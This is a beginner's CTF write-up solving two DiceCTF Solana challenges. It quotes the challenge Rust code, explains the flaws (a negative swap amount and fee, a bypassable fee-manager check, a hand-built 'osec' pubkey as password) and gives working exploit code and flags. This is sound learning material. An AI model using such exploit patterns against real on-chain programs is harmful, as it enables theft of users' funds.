<-->

Five months ago, I started studying and having interest in blockchain.

In RealWorld CTF, Idek CTF, I solved some blockchain challenges.

 

I didn't expect blockchain challenges because there was no blockchain category in DiceCTF.

However, when I looked at the names of challs, I realized there were blockchain challs!!.

 

After a lot of trial and error, I solved both of the blockchain challs!

 

 

I will write a write-up about how I approached and solved problems from a beginner's perspective in rust and solana.


Environment

https://github.com/otter-sec/sol-ctf-framework

Recently encountered challs used this framework.

 

When you look at the chall files, you can see that there are framework and framework-solve folders.

 

/framework/src/main.rs

/framework/chall/programs/chall/src/lib.rs

/framework-solve/src/main.rs

/framework-solve/chall/programs/chall/src/lib.rs

 

In most cases, examining these four files will be sufficient to understand the given challenge.

 

  • How do I connect the remote server?

In /framework-solve/src/main.rs

let mut stream = TcpStream::connect("127.0.0.1:8080")?;

However, DiceCTF provided SSL connection.

 

https://klodd.tjcsec.club/how-to/#tcp-challenges

For example, socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337

 

  • How I test in local environment?

/framework/Dockerfile

/run.sh

/setup.sh

 

Building takes quite a bit of time.

 


Baby-Solana

Analysis

When looking at the /framework/src/main.rs without paying attention to the code necessary for setting up the environment

 

The variable 'x' is initialized to 1_000_000 and 'y' to 1_000_001

    let ix = chall::instruction::InitVirtualBalance {
        x: 1_000_000,
        y: 1_000_001,
    };

 

And, user's inputs are executed.

    writeln!(socket, "user: {}", user)?;

    let solve_ix = chall.read_instruction(solve_id)?;
    println!("{:?}", solve_ix);

    println!("start");
    chall
        .run_ixs_full(&[solve_ix], &[&user_keypair], &user_keypair.pubkey())
        .await?;
    println!("end");

 

 

Finally, if x == 0 and y == 0, then print flag! 

    let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0;

    if let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {
        let state = bytemuck::from_bytes::<chall::State>(
            &acct.data[8..std::mem::size_of::<chall::State>() + 8],
        );
        if state.x == 0 && state.y == 0 {
            writeln!(socket, "congrats!")?;
            if let Ok(flag) = env::var("FLAG") {
                writeln!(socket, "flag: {:?}", flag)?;
            } else {
                writeln!(socket, "flag not found, please contact admin")?;
            }
        }
    }

 

 

To find operations with variable x and y, I looked at /framework/chall/programs/chall/src/lib.rs.

    pub fn swap(ctx: Context<Swap>, amt: NUMBER) -> Result<()> {
        let state = &mut ctx.accounts.state.load_mut()?;

        state.x += amt;
        state.y += amt;

        state.x += state.fee * state.x / 100;
        state.y += state.fee * state.y / 100;

        Ok(())
    }

It seems we can set the state to 0 by putting a negative value into amt, since amt is declared as NUMBER(i64) type.

 

 

1. swap(-1_000_000) => x=0, y=1

2. set state.fee = -100

3. swap(0) => x=0, y=0

 

The ability to modify the value of state.fee can be solution.

 


 

/framework/chall/programs/chall/src/lib.rs

    pub fn set_fee(ctx: Context<AuthFee>, fee: NUMBER) -> Result<()> {
        let state = &mut ctx.accounts.state.load_mut()?;

        state.fee = fee;

        Ok(())
    }
    
...
    
#[derive(Accounts)]
pub struct AuthFee<'info> {
    #[account(mut,
        constraint = (state.load().unwrap().owner.is_some() && 
            state.load().unwrap().owner.unwrap() == payer.key()
        ) || 
        (state.load().unwrap().fee_manager.is_some() && (
            state.load().unwrap().fee_manager.unwrap().timestamp < Clock::get()?.unix_timestamp && 
            (
                state.load().unwrap().fee_manager.unwrap().authority.is_none() || 
                state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key()
            )
        ))
    )]
    pub state: AccountLoader<'info, State>,
    #[account(mut)]
    pub payer: Signer<'info>,
    pub system_program: Program<'info, System>,
    pub rent: Sysvar<'info, Rent>,
}

 

In order to call set_fee(), we need to pass the constraint in struct AuthFee.

Our account can bypass second conditon.

        (state.load().unwrap().fee_manager.is_some() && (
            state.load().unwrap().fee_manager.unwrap().timestamp < Clock::get()?.unix_timestamp && 
            (
                state.load().unwrap().fee_manager.unwrap().authority.is_none() || 
                state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key()
            )
        ))
 

 


Solution

Add the following code to /framework-solve/chall/programs/chall/src/lib.rs

    pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
        let cpi_accounts = chall::cpi::accounts::Swap {
            state: _ctx.accounts.state.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::swap(cpi_ctx, -1_000_000)?;

        let cpi_accounts5 = chall::cpi::accounts::AuthFee {
            state: _ctx.accounts.state.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx5 = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts5);
        chall::cpi::set_fee(cpi_ctx5, -100)?;

        let cpi_accounts6 = chall::cpi::accounts::Swap {
            state: _ctx.accounts.state.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx6 = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts6);
        chall::cpi::swap(cpi_ctx6, 0)?;

        Ok(())
    }

 

And get Intancer

e.g. socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337

 

 

Run run.sh

 

 

dice{z3r0_c0py_h3r0_c0py_cPDsolK8}


OtterWorld

Analysis

When looking at the /framework/src/main.rs without paying attention to the code necessary for setting up the environment

 

 

First, user's inputs are executed.

    let solve_ix = chall.read_instruction(solve_id)?;
    println!("{:?}", solve_ix);

    println!("start");
    chall
        .run_ixs_full(
            &[solve_ix],
            &[&user_keypair],
            &user_keypair.pubkey(),
        )
        .await?;
    println!("end");

 

And, if the account exists, it will print the flag.

That means I should create my account.

    let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0;

    if let Some(_) = chall.ctx.banks_client.get_account(flag).await? {
        writeln!(socket, "congrats!")?;
        if let Ok(flag) = env::var("FLAG") {
            writeln!(socket, "flag: {:?}", flag)?;
        } else {
            writeln!(socket, "flag not found, please contact admin")?;
        }
    }

 

 

/framework/chall/programs/chall/src/lib.rs

#[derive(Accounts)]
pub struct GetFlag<'info> {
    #[account(
        init,
        seeds = [ FLAG_SEED ],
        bump,
        payer = payer,
        space = 1000
    )]
    pub flag: Account<'info, Flag>,

    #[account(
        constraint = password.key().as_ref()[..4] == b"osec"[..]
    )]
    pub password: AccountInfo<'info>,

    #[account(mut)]
    pub payer: Signer<'info>,
    pub system_program: Program<'info, System>,
    pub rent: Sysvar<'info, Rent>,
}

To create an account, a password is required that starts with b"osec".

 


Solution

Initially, I thought I had to find the private key that could generate a pubkey that satisfies the condition.

 

However, this is not a feasible solution when considering time complexity.

 


The next thought was the program ID.

 

/framework/chall/programs/chall/src/lib.rs

/framework-solve/chall/programs/chall/src/lib.rs

 

Look at the top of code

declare_id!("osecio1111111111111111111111111111111111111");

It is a pubkey of chall id.

Therefore, I thought that if I just passed the pubkey as the password, it would be over.

 

/framework-solve/chall/programs/chall/src/lib.rs

    pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {        
        let cpi_accounts = chall::cpi::accounts::GetFlag {
            flag: _ctx.accounts.state.to_account_info(),
            password: _ctx.accounts.chall.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
       
        let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::get_flag(cpi_ctx)?;
        Ok(())
    }

 

But, it was wrong.

In fact, pubkey string is not byte string but output of base58 encoding.

So "osecio1111111111111111111111111111111111111"[:4] can not pass b"osec"


Finally, I thought that if I just input Pubkey I wanted and pass it as the password, it would be the end.

 

I learned how to generate a public key through a Google.

let key = Pubkey::new(&[111,115,101,99,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
// key = b"osec"

 

 

But I didn't know how to convert this Pubkey into an AccountInfo.

pub password: AccountInfo<'info>,

 

While I was pondering...

I found a similar case of ???? into an AccountInfo type conversion in /framework-solve/src/main.rs .

    let mut ix_accounts = solve::accounts::GetFlag {
        state,
        payer: user,
        token_program: spl_token::ID,
        chall: chall_id,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
    };

 

So I decided to experiment with it.

I added test which has type of AccountInfo to /framework-solve/chall/programs/chall/src/lib.rs

#[derive(Accounts)]
pub struct GetFlag<'info> {
    #[account(mut)]
    pub state: AccountInfo<'info>,
    #[account(mut)]
    pub payer: Signer<'info>,

    pub system_program: Program<'info, System>,
    pub token_program: Program<'info, Token>,
    pub rent: Sysvar<'info, Rent>,
    pub chall: Program<'info, chall::program::Chall>,

    #[account(mut)]
    pub test: AccountInfo<'info>, // added
}

 

I created Pubkey and assign it.

/framework-solve/src/main.rs 

    let test = Pubkey::new(&[111,115,101,99,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]); 
    //added

    let mut ix_accounts = solve::accounts::GetFlag {
        state,
        payer: user,
        token_program: spl_token::ID,
        chall: chall_id,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
        test: test, // added
    };

 

Add following code makeing my account to /framework-solve/chall/programs/chall/src/lib.rs

    pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
        let cpi_accounts = chall::cpi::accounts::GetFlag {
            flag: _ctx.accounts.state.to_account_info(),
            password: _ctx.accounts.test.to_account_info(),
            payer: _ctx.accounts.payer.to_account_info(),
            system_program: _ctx.accounts.system_program.to_account_info(),
            rent: _ctx.accounts.rent.to_account_info(),
        };
       
        let cpi_ctx = CpiContext::new(_ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::get_flag(cpi_ctx)?;
        Ok(())
    }

 

And get Intancer

e.g. socat tcp-listen:8080,fork,reuseaddr openssl:babyheapng-e20d62127bb9434b.tjc.tf:1337

 

 

And run run.sh.

 

Surprisingly, I got the flag.

 

 

dice{0tt3r_w0r1d_8c01j3}


 

It is actually very simple once it was solved, but it was difficult because I didn't know Rust or Solana.

I think I need to study each chapter one by one.

https://solanacookbook.com/kr/core-concepts/accounts.html#facts

 

If you are looking for similar difficulty solana challs, I recommend baby blockchain 1,2,3 of IdekCTF 2023.

 

Thanks.

 

+ Recent posts